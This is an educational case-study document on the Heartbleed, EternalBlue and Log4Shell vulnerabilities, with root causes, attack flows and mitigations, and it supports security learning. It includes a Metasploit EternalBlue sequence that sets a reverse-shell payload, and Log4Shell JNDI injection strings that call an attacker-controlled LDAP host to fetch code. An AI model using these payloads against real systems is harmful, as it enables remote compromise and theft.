Overview

This document explains three major real-world vulnerabilities:

• Heartbleed (CVE-2014-0160)

• EternalBlue (CVE-2017-0143 / MS17-010)

• Log4Shell (CVE-2021-44228)

Each case study includes:

• Concept

• Root cause

• Attack flow

• Example

• Impact

• Mitigation

---

Heartbleed Vulnerability (CVE-2014-0160)

Description

Heartbleed is a vulnerability in OpenSSL's TLS heartbeat extension that allows attackers to read sensitive memory from a server.

Root Cause

• Missing bounds check in heartbeat request

• Server trusts the client’s declared payload size without verification

Attack Flow

1. Attacker sends a heartbeat request:

   • Small actual data

   • Large declared length (e.g., 64KB)

2. Server responds with:

   • Original data + extra memory contents

3. Attacker repeats the request to dump memory

Example

Request:
Payload = "Hi"
Declared Length = 64000

Response:
"Hi" + leaked memory (passwords, keys, session data)

Impact

• Leakage of:

  • Private keys

  • User credentials

  • Session cookies

• No logs, making detection difficult

Mitigation

• Update OpenSSL to patched version

• Revoke and regenerate SSL certificates

• Enforce Perfect Forward Secrecy (PFS)

---

EternalBlue (CVE-2017-0143 / MS17-010)

Description

EternalBlue exploits a vulnerability in SMBv1 (Server Message Block) in Windows, allowing Remote Code Execution (RCE).

Root Cause

• Improper handling of SMB packets

• Leads to buffer overflow

Attack Flow

1. Scan target using Nmap:

   nmap -p445 --script smb-vuln-ms17-010 <target>
   

2. Identify vulnerable SMBv1 service

3. Send specially crafted SMB packet

4. Trigger buffer overflow

5. Execute malicious payload (e.g., reverse shell)

Example (Metasploit)

use exploit/windows/smb/ms17_010_eternalblue
set RHOST <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

Impact

• Full system compromise

• Used in WannaCry ransomware attack

• Wormable exploit (spreads automatically)

Mitigation

• Disable SMBv1

• Apply Microsoft patch (MS17-010)

• Use firewall to block port 445

---

Log4Shell (CVE-2021-44228)

Description

Log4Shell is a critical vulnerability in Apache Log4j allowing Remote Code Execution via JNDI lookup.

Root Cause

• Log4j interprets user input as executable lookup

• Supports dynamic lookup using ${} syntax

• JNDI allows fetching remote objects

Attack Flow

1. Attacker injects payload:

   ${jndi:ldap://attacker.com/malicious}
   

2. Application logs the input

3. Log4j processes JNDI lookup

4. Server connects to attacker-controlled LDAP server

5. Malicious Java class is returned and executed

Example

GET / HTTP/1.1
User-Agent: ${jndi:ldap://192.168.1.10:1389/exploit}

Internal Working

• $ indicates variable

• jndi: invokes Java Naming Directory Interface

• LDAP server returns malicious class

• JVM executes it

Impact

• Full remote code execution

• Affects cloud, enterprise apps, APIs

• Easy to exploit

Mitigation

• Update Log4j (2.17.0 or later)

• Disable JNDI lookups:

  -Dlog4j2.formatMsgNoLookups=true
  

• Monitor logs for suspicious patterns

---

Comparison Table

Vulnerability	Type	Protocol	Impact	Exploit Type
Heartbleed	Information Disclosure	TLS	Data leakage	Passive
EternalBlue	Remote Code Execution	SMBv1	Full system access	Active exploit
Log4Shell	Remote Code Execution	HTTP/JNDI	Full system access	Injection

---

Key Learning Points

• Input validation failure leads to vulnerabilities like Heartbleed

• Memory corruption leads to exploits like EternalBlue

• Unsafe dynamic execution leads to injection attacks like Log4Shell

These represent three major classes of vulnerabilities:

• Information Disclosure

• Buffer Overflow

• Injection

---

Real-World Use in Pentesting

• Heartbleed used for data extraction

• EternalBlue used for initial access

• Log4Shell used for web application exploitation

---

Conclusion

These vulnerabilities highlight:

• Importance of secure coding

• Need for regular patch management

• Importance of input validation and secure protocol handling

Understanding them helps in:

• Capture The Flag (CTF) challenges

• Real-world penetration testing

• Vulnerability assessment and security analysis